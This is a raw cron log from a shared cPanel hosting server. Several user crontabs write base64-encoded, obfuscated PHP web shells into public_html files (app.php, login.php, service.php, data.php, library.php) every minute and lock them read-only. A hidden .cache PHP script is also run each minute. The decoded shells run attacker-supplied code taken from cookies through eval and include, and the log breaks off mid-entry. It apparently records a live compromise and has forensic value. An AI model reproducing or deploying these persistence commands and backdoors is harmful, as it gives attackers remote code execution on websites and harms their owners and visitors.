Mar  1 13:27:02 medusa CROND[4505]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:28:02 medusa CROND[29562]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:28:02 medusa CROND[29613]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:28:02 medusa CROND[29614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:28:02 medusa CROND[29616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:28:02 medusa CROND[29617]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:28:02 medusa CROND[29618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:28:02 medusa CROND[29625]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:28:02 medusa CROND[29627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:28:02 medusa CROND[29619]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:28:02 medusa CROND[29621]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:28:02 medusa CROND[29628]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:28:02 medusa CROND[29629]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:28:02 medusa CROND[29634]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:28:02 medusa CROND[29626]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:29:01 medusa CROND[22055]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:29:01 medusa CROND[22177]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:29:01 medusa CROND[22178]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:29:01 medusa CROND[22179]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:29:01 medusa CROND[22182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:29:01 medusa CROND[22183]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:29:01 medusa CROND[22184]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:29:01 medusa CROND[22185]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:29:01 medusa CROND[22186]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:29:01 medusa CROND[22189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_summary.cronlock /usr/sbin/cloudlinux-summary --send --json &> /dev/null)
Mar  1 13:29:01 medusa CROND[22188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 13:29:01 medusa CROND[22195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:29:01 medusa CROND[22190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:29:02 medusa CROND[22180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:30:01 medusa CROND[14491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:30:01 medusa CROND[14494]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:30:01 medusa CROND[14566]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:30:01 medusa CROND[14673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:30:01 medusa CROND[14674]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 